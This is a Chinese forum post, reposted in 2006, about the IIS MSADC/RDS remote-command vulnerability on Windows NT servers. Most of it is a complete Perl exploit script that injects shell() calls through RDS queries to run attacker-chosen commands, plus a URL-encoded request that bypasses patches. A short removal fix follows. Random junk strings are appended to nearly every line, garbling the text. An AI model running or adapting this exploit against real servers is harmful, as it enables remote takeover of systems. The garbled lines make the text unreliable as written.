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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) h2SVDKj  
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涉及程序: K\7\  
Microsoft NT server [<+A?M=  
5v f?E"\r  
描述: fZqqU|tq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !y&uK&1  
,dTRM  
详细: ;wi}6rF%[i  
如果你没有时间读详细内容的话,就删除: zq=X;}qYj  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ZH:-.2*cj  
有关的安全问题就没有了。 mUmU_L u8  
[\ M$a|K  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 s[ ze8:  
4;]<#u  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ADTx _tE  
关于利用ODBC远程漏洞的描述,请参看: (aAv7kB&  
{{G`0i2KV  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm B^;P:S<yG  
G234UjN%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 M7O5uW`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^usZ&9"@P  
xpJ6M<O{8  
这里不再论述。 ZPktZ  
6`>WO_<z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: o7/S'Haxc]  
f4JmY1)@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $)1i)/]9U  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! pSjJ u D  
0]3 ,0s $}  
tl 0_Sd  
#将下面这段保存为txt文件,然后: "perl -x 文件名" WF)(Q~op0U  
=6XJr7Ay8u  
#!perl yqaLqZ$  
# lEcZ/  
# MSADC/RDS 'usage' (aka exploit) script JnW G_|m)  
# 1S&GhJ<wJ  
# by rain.forest.puppy #H'j;=]:  
# _2eRH@T  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me O_zW/#  
# beta test and find errors! LW={| 3}  
P=.yXirm?  
use Socket; use Getopt::Std; VH.m H<  
getopts("e:vd:h:XR", \%args); +VJS/  
! :[`>=!  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :bh#,]'  
J**-q(>  
if (!defined $args{h} && !defined $args{R}) { FeW}tKH  
print qq~ @%(Vi!Cv"R  
Usage: msadc.pl -h <host> { -d <delay> -X -v } n{d0}N =  
-h <host> = host you want to scan (ip or domain) E [:eMJR  
-d <seconds> = delay between calls, default 1 second zTgY=fuz  
-X = dump Index Server path table, if available j20/Q)=h  
-v = verbose KASuSg+  
-e = external dictionary file for step 5 +-DF3(  
OcA_m.  
Or a -R will resume a command session Q[j'FtP%  
e -!6m #0  
~; exit;} scf.> K2  
(E{>L).~  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; q*L>MV  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (Dy6I;S  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} >@b]t,rrK  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); R`[jkJrc  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} B]KR*  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } {iGy@?d)zt  
?Uq;>  
if (!defined $args{R}){ $ret = &has_msadc; -YDA,.Ic?  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 0}'xoYv f  
InO;DA\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !"v[\||1  
. "cmd /c ";  Re=()M  
$in=<STDIN>; chomp $in; Wq5 }SM  
$command="cmd /c " . $in ; e=>:(^CS   
#x?Ku\ts  
if (defined $args{R}) {&load; exit;} K nl`[Nl  
T*Dd% f  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; * ~D|M  
&try_btcustmr; SmpYH@  
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print "\nStep 2: Trying to make our own DSN..."; &$$o=Yg,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GI se|[p  
AiP#wK;  
print "\nStep 3: Trying known DSNs..."; ]u]BxMs  
&known_dsn; t5| }0ID-  
S/itK3  
print "\nStep 4: Trying known .mdbs..."; W)_|jpd[  
&known_mdb; Bj=lUn`T:  
Fb!Ew`;QT  
if (defined $args{e}){ i,H(6NL.  
print "\nStep 5: Trying dictionary of DSN names..."; i/C`]1R/  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }508wwv  
*:5S*E&}V  
print "Sorry Charley...maybe next time?\n"; K2XRKoG  
exit; :17Pc\:DS  
L@5j? N?F  
############################################################################## t)4><22of  
D-/q-=zd  
sub sendraw { # ripped and modded from whisker ?XlPK Y  
sleep($delay); # it's a DoS on the server! At least on mine... %.h&W;  
my ($pstr)=@_; Dhe*)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >1}@Q(n/}{  
die("Socket problems\n"); o2 ;  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9-W3}4'e  
select(S); $|=1; eh39"s  
print $pstr; my @in=<S>; 0.aIcc  
select(STDOUT); close(S); qj7 }]T_  
return @in; W?F Q  
} else { die("Can't connect...\n"); }} x5(6U>-Y  
Y&XO:jB  
############################################################################## u|mTF>L  
VLfc6:Yg  
sub make_header { # make the HTTP request t]CA!i`  
my $msadc=<<EOT =*5< w  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `SH14A*  
User-Agent: ACTIVEDATA &o;d  
Host: $ip ~Ydm"G  
Content-Length: $clen f:K>o .  
Connection: Keep-Alive mo?*nO|-  
?u?Nhf %b  
ADCClientVersion:01.06 3'7]jj  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 $a01">q&y  
QZm7 Q4  
--!ADM!ROX!YOUR!WORLD! A_\`Gj!s%  
Content-Type: application/x-varg 68UfuC  
Content-Length: $reqlen 2Ij,OIcdBE  
Op'&c0l  
EOT *)(S}D\94  
; $msadc=~s/\n/\r\n/g; -O^R~Q_`w  
return $msadc;} 'ti~TG  
q^DQ9B  
############################################################################## ]#\De73K   
: 5X^t  
sub make_req { # make the RDS request kaT  !   
my ($switch, $p1, $p2)=@_; N>H#Ew@2U  
my $req=""; my $t1, $t2, $query, $dsn; kz*6%Cg*~  
P;G]qV%  
if ($switch==1){ # this is the btcustmr.mdb query :O'QL,  
$query="Select * from Customers where City=" . make_shell(); Dr)jB*yK  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .OpG2P  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .6LlkM6[g  
N/!(`Z,  
elsif ($switch==2){ # this is general make table query ]$,3vYBf  
$query="create table AZZ (B int, C varchar(10))"; oF~+L3&X  
$dsn="$p1";} :4r{t?ytXw  
|ms.  
elsif ($switch==3){ # this is general exploit table query lhC^Upqw  
$query="select * from AZZ where C=" . make_shell(); G J{XlH  
$dsn="$p1";} I&6M{,rnM  
kz/"5gX:  
elsif ($switch==4){ # attempt to hork file info from index server 8RI'Fk{  
$query="select path from scope()"; VaW^;d#  
$dsn="Provider=MSIDXS;";} %Z3B9  
Sy/Z}H  
elsif ($switch==5){ # bad query *3KSOcQ  
$query="select"; =fy\W=c  
$dsn="$p1";} OQIr"  
Zq~Rkx  
$t1= make_unicode($query); l>?f+70  
$t2= make_unicode($dsn); HUChg{[  
$req = "\x02\x00\x03\x00"; jqj4(J@%yr  
$req.= "\x08\x00" . pack ("S1", length($t1)); Uc, J+j0F  
$req.= "\x00\x00" . $t1 ; v5 @9  
$req.= "\x08\x00" . pack ("S1", length($t2)); wmA TV/  
$req.= "\x00\x00" . $t2 ; m1e Sn |)7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; FHSFH>  
return $req;} X`(fJ',  
va:<W H  
##############################################################################  )$GCur~  
Cw"[$E'J  
sub make_shell { # this makes the shell() statement x_x_TEyyh  
return "'|shell(\"$command\")|'";} w!pj);jy{  
~z\a:+  
############################################################################## 8Vjv #pm  
)}7X4g6X   
sub make_unicode { # quick little function to convert to unicode A>8~deZ9  
my ($in)=@_; my $out; g=KvCqJN  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } `fOp>S^Q4  
return $out;} {b'  
WD_{bd)  
############################################################################## yEos$/*u-N  
|~ytAyw  
sub rdo_success { # checks for RDO return success (this is kludge) f62rm[  
my (@in) = @_; my $base=content_start(@in); l^^Z}3^Rk  
if($in[$base]=~/multipart\/mixed/){ ;.Ld6JRunw  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} I4|"Ztw  
return 0;} }Q*J!OH  
 LJ;&02w@  
############################################################################## tZv^uuEp3  
$@vB<(sk  
sub make_dsn { # this makes a DSN for us 052Cf dq  
my @drives=("c","d","e","f"); !C|Z+w9Y  
print "\nMaking DSN: "; 3 l}9'j  
foreach $drive (@drives) { ~;z] _`_Va  
print "$drive: "; V'gJtF  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . lQiw8qD  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" (?g+.]Dt,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4x<H=CJC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; teI?.M9r  
return 0 if $2 eq "404"; # not found/doesn't exist C4qK52'2s  
if($2 eq "200") { spTz}p^\O  
foreach $line (@results) { +'Y?K]zbt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5JEOLPS  
} return 0;} q7r b3d  
Td|u-9OM  
############################################################################## Rc3!u^?u  
?0M$p  
sub verify_exists { }30Sb &"  
my ($page)=@_; pY[b[ezb  
my @results=sendraw("GET $page HTTP/1.0\n\n"); YR? E z<p  
return $results[0];} |h%HUau  
,(-V<>/*.|  
############################################################################## 4JU 2x  
z]SEPYq:  
sub try_btcustmr { *>"NUHq  
my @drives=("c","d","e","f"); %6%mf>Guf  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }K@m4`T  
)-o jm$  
foreach $dir (@dirs) { sVBr6 !v=  
print "$dir -> "; # fun status so you can see progress ul~6zBKO   
foreach $drive (@drives) { =|``d-  
print "$drive: "; # ditto zc=G4F01  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; {]cr.y]\  
$reqlenlen=length( "$reqlen" ); 0e+#{k  
$clen= 206 + $reqlenlen + $reqlen; Wz #Cyjo  
';Q8x?BS  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); iqdU?&.;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} hJ]Oa7r  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9l "=]7~%  
JV@G9PT  
############################################################################## 3!\h'5{  
BgD3P.;[  
sub odbc_error { pW@W-k:u  
my (@in)=@_; my $base; -.y1]4  
my $base = content_start(@in); QuG"]$  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this /g. c( -#]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;/_htdj  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y#Q!mbp  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [OTn>/W'  
return $in[$base+4].$in[$base+5].$in[$base+6];} cD6^7QF  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; W7'<Jom|?  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ']>9 /r#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8B &EH+  
pDYJLh-C  
############################################################################## [U",yN]d  
343d`FRa}  
sub verbose { DO *  
my ($in)=@_; q^<HG]  
return if !$verbose; j'U1lEZm2  
print STDOUT "\n$in\n";} K:jn^JN$  
Z'j[N4%BK  
############################################################################## h@NC#Iod  
J'sa{/ #  
sub save { \?R#ZxP@  
my ($p1, $p2, $p3, $p4)=@_; W90!*1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; J9!/C#Fm  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; $/C1s"C@O  
close OUT;} yU&;\'  
~v;+-*t  
############################################################################## +B1&bOb  
d4BzFGsW  
sub load { H7.l)'  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; P{UV3ZA%  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ZIa,pON  
@p=<IN>; close(IN); D-LOjMe  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); I=#`8deH(  
$target= inet_aton($ip) || die("inet_aton problems"); z`t~N  
print "Resuming to $ip ..."; "FA. T7G  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; >h\u[I$7  
if($p[1]==1) { Lo_+W1+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; xx>h J!  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; C 'MR=/sd  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'nGUm[vh  
if (rdo_success(@results)){print "Success!\n";} ,lA @C2 c  
else { print "failed\n"; verbose(odbc_error(@results));}} d8vf kV B  
elsif ($p[1]==3){ eK l; T  
if(run_query("$p[3]")){ 3m!tb)  
print "Success!\n";} else { print "failed\n"; }} 7`;f<QNo  
elsif ($p[1]==4){ iLZY6?_^  
if(run_query($drvst . "$p[3]")){ Ms,MXJtH  
print "Success!\n"; } else { print "failed\n"; }} ?R#$ c]  
exit;} nOL.%  
Z3hZy&_I  
############################################################################## _3@5@1[s  
YmaS,Q-  
sub create_table { Nz.X$zUmY  
my ($in)=@_; Rr %x;-  
$reqlen=length( make_req(2,$in,"") ) - 28; m!Z<\2OP  
$reqlenlen=length( "$reqlen" ); O 1z0dHa  
$clen= 206 + $reqlenlen + $reqlen; =xIZJ8e  
my @results=sendraw(make_header() . make_req(2,$in,"")); z/xPI)R[  
return 1 if rdo_success(@results); j; y~vX b  
my $temp= odbc_error(@results); verbose($temp); xmcZN3 ){+  
return 1 if $temp=~/Table 'AZZ' already exists/; vio>P-2Eho  
return 0;} Y2QX<  
zaHZ5%{LQD  
############################################################################## 7$lnCvm  
s+lBai*#  
sub known_dsn { B8T$<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >*h+ N? m  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `8W HVC$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Rv9jLH  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9D1WUUa  
30uPDDvar  
foreach $dSn (@dsns) { #O}}pF  
print "."; 6 Ln~b<I  
next if (!is_access("DSN=$dSn")); T9Q3I  
if(create_table("DSN=$dSn")){ \\<=J[R.M  
print "$dSn successful\n";  &Q~W{.  
if(run_query("DSN=$dSn")){ iOURS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w'(/dr  
print "Something's borked. Use verbose next time\n";}}} print "\n";} jW`JThoq  
4($"4>BA  
##############################################################################  SW#/;|m  
f; |fS~  
sub is_access { zZCRej  
my ($in)=@_; :}v-+eIQ  
$reqlen=length( make_req(5,$in,"") ) - 28; ;C$+8%P4  
$reqlenlen=length( "$reqlen" ); |{YN3"qN  
$clen= 206 + $reqlenlen + $reqlen; - C q;  
my @results=sendraw(make_header() . make_req(5,$in,"")); R>"Fc/{y  
my $temp= odbc_error(@results); ":Tm6Nj  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Yw3'9m^  
return 0;} )ciP6WzzbI  
W]ca~%r  
############################################################################## 7:u+cv  
hOAZvrfQ4  
sub run_query { ALTOi?  
my ($in)=@_; +_i{4Iz~p  
$reqlen=length( make_req(3,$in,"") ) - 28; N~O3KG q  
$reqlenlen=length( "$reqlen" ); dn- [Gnde  
$clen= 206 + $reqlenlen + $reqlen; f<@!{y 2Xe  
my @results=sendraw(make_header() . make_req(3,$in,"")); 2r!ltG3}  
return 1 if rdo_success(@results); Om0$6O  
my $temp= odbc_error(@results); verbose($temp); zW%Em81Wd  
return 0;} bJ!\eI%ld  
JyMk @Y  
############################################################################## vNGE]+QX  
edp I?  
sub known_mdb { VjM3M<!g>M  
my @drives=("c","d","e","f","g"); gfg,V.:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wL?Up>fr  
my $dir, $drive, $mdb; Dd5 9xNKm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; WMa0L&C~v  
f*X CWr  
# this is sparse, because I don't know of many H/O.h@E4X  
my @sysmdbs=( "\\catroot\\icatalog.mdb", o?Hfxp0}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ~U&NY7.@  
"\\system32\\certmdb.mdb", AYA{_^#+3  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ,D+ydr  
!lgL=Ys(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #,d~t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", vAUt~ X"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 13!@L bC  
"\\cfusion\\cfapps\\security\\realm_.mdb", }~I!'J#)  
"\\cfusion\\cfapps\\security\\data\\realm.mdb",  lln"c  
"\\cfusion\\database\\cfexamples.mdb", z5fE<=<X_W  
"\\cfusion\\database\\cfsnippets.mdb", njy2pDC@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", :jl*Y-mM  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", { ] R'U/  
"\\cfusion\\brighttiger\\database\\cleam.mdb", XA2Ld  
"\\cfusion\\database\\smpolicy.mdb", NZq-%bE  
"\\cfusion\\database\cypress.mdb", ccuGM WG*  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .c"nDCFVR  
"\\website\\cgi-win\\dbsample.mdb", ^}=)jLS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", y d 97ys  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" `-L?x2)U  
); #these are just 2nB99L{6  
foreach $drive (@drives) { e,p"=/!aY  
foreach $dir (@dirs){ ^&eF916H  
foreach $mdb (@sysmdbs) { ,@ 8+%KqG  
print "."; (gBKC]zvz3  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 8 c8`"i  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; N6y9'LGG`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %F>~2g?$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ii)# (b:V  
} else { print "Something's borked. Use verbose next time\n"; }}}}} K|7"YNohfG  
15g! Q *v  
foreach $drive (@drives) { ~$HB}/  
foreach $mdb (@mdbs) { i<Vc~ !pT  
print "."; m@2E ~m  
if(create_table($drv . $drive . $dir . $mdb)){ t/i I!}  
print "\n" . $drive . $dir . $mdb . " successful\n"; b&z#ZY  
if(run_query($drv . $drive . $dir . $mdb)){ lYx_8x2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Zo3!Hs ZA  
} else { print "Something's borked. Use verbose next time\n"; }}}} ;l@94)@0  
} uks75W!}U  
h:%,>I%{  
############################################################################## d/7fJ8y8  
MgJ6{xzz  
sub hork_idx { cfLF@LW!])  
print "\nAttempting to dump Index Server tables...\n"; aDbqh~7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; S>yiD`v  
$reqlen=length( make_req(4,"","") ) - 28; r6m^~Wq!}  
$reqlenlen=length( "$reqlen" ); } e[ E  
$clen= 206 + $reqlenlen + $reqlen; ?,vLRq.  
my @results=sendraw2(make_header() . make_req(4,"","")); JmI%7bH@  
if (rdo_success(@results)){ 7Q .Su  
my $max=@results; my $c; my %d; \zO.#H  
for($c=19; $c<$max; $c++){ *d 1Bp R%  
$results[$c]=~s/\x00//g; kt6x"'"1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; rQjk   
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; gmL~n7m:K  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; )0"Q h  
$d{"$1$2"}="";} d6luksO*9  
foreach $c (keys %d){ print "$c\n"; } <|Td0|x _q  
} else {print "Index server doesn't seem to be installed.\n"; }} cI=6zMB  
 >;fVuy  
############################################################################## OdzeHpH3g  
/%T/@y  
sub dsn_dict { !m@cTB7i   
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); fzSkl`K}  
while(<IN>){ smn"]K  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; MpCPY"WLL  
next if (!is_access("DSN=$dSn")); nQF& ^1n  
if(create_table("DSN=$dSn")){ Qd} n4KF\  
print "$dSn successful\n"; @Kpm&vd(  
if(run_query("DSN=$dSn")){ ; vH2r~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 0]DOiA  
print "Something's borked. Use verbose next time\n";}}} 8?yIixhw  
print "\n"; close(IN);} .hT>a<  
O =Z}DGa+  
############################################################################## n2U &}O  
%F*9D3^h  
sub sendraw2 { # ripped and modded from whisker dAI^P/y%  
sleep($delay); # it's a DoS on the server! At least on mine... e+[*4)Qfy  
my ($pstr)=@_; Xoe|]@U`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || BhJ>G%  
die("Socket problems\n"); VE |:k:};  
if(connect(S,pack "SnA4x8",2,80,$target)){ [EAOk=X  
print "Connected. Getting data"; jB LTEb  
open(OUT,">raw.out"); my @in; 72<9xNcB!}  
select(S); $|=1; print $pstr; x5lVb$!G  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Fy=GU<&AI  
close(OUT); select(STDOUT); close(S); return @in; PucNu8   
} else { die("Can't connect...\n"); }} tr0b#4  
W5|{A])N  
############################################################################## %BI8m|6  
P3oYk_oW  
sub content_start { # this will take in the server headers &[ })FI  
my (@in)=@_; my $c; S:xXD^n#H  
for ($c=1;$c<500;$c++) { L!Jx`zM^  
if($in[$c] =~/^\x0d\x0a/){ jD S?p)&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } e={O&9Z  
else { return $c+1; }}} aHhLz>H'  
return -1;} # it should never get here actually  ?8>a;0  
uyj!$}4  
############################################################################## '@n"'vks(\  
/`PYk]mJh  
sub funky { {wS i?;[Gq  
my (@in)=@_; my $error=odbc_error(@in); 7e<=(\(yl  
if($error=~/ADO could not find the specified provider/){ *p{p.%Qs:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; i$Y#7^l%k  
exit;} V.~kG ,Ht  
if($error=~/A Handler is required/){ /J`}o}  
print "\nServer has custom handler filters (they most likely are patched)\n"; mv9D{_,pD  
exit;} ,ri&zbB  
if($error=~/specified Handler has denied Access/){ RD`|Z~:q:K  
print "\nServer has custom handler filters (they most likely are patched)\n"; )vtbA=RH?  
exit;}} i~!g9o(  
{j wv+6]U  
############################################################################## $(1t~u<17  
{v"f){   
sub has_msadc { mR0`wrt  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); !?,, ZD  
my $base=content_start(@results); 7K"3[.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z teu{0  
return 0;} ]3,'U(!+  
d6i}xnmC  
######################## \mb4leg5  
2[lP,;!  
}?m0bM  
解决方案: rZI63S  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g@H<Q('fJ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 l+;S$evY  
:!i=g+e]  
拿出来充数 哈哈
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